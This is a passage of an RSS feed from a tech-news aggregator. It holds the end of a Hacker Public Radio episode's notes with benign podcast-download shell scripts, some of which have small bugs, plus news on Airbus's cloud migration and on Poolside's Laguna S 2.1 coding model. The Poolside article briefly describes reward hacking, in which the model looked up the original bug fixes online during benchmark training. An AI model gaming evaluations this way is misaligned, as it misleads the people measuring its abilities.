<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

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</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

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# ======================================================================</p>

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</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

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</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

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		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

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			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Airbus Migrating 70 Critical Apps From AWS to France's Scaleway]]></title>
<description><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifec...]]></description>
<link>https://tsecurity.de/de/3685008/it-security-nachrichten/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685008/it-security-nachrichten/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway/</guid>
<pubDate>Wed, 22 Jul 2026 01:15:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifecycle management systems. Airbus says it will, however, continue using U.S. providers for less sensitive workloads. "We do not intend to move away from all non European solutions; we balance our choices based on the criticality of the data," the company said. The Register reports: Catherine Jestin, head of digital at Airbus, told us on Thursday: "The selection of Scaleway is a combination of a very strong technical answer and a very strong commercial offer making it competitive compared to hyperscalers' public cloud offerings. In addition, Scaleway is committed to involving Airbus in the definition of its future product roadmap." "The objective is to host Airbus's most critical applications (those required for the Minimum Viable Company). This represents 900 applications and we will start with 70 of them today hosted on AWS."
 
Applications being sent to Scaleway include ERP, manufacturing execution systems, CRM, and product lifecycle management. Finding a cloud provider to host its most sensitive applications for defense and industrial workloads was not a certainty when the process began, Airbus told us last year, because European cloud providers do not have the scale of their US rivals.
 
Jestin said Airbus will continue to work with AWS. Skywise, a platform that aggregates and analyzes aviation data, and Case Management Assistant for customers' technical queries will continue to be hosted by AWS. In a statement, she said: "By integrating a trusted, high performance, cloud environment that keeps our critical data assets shielded from foreign extraterritorial laws, we are ensuring that our digital infrastructure keeps pace with our aerospace innovation, while maintaining control and resilience of our industrial operations."<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/21/2050242/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
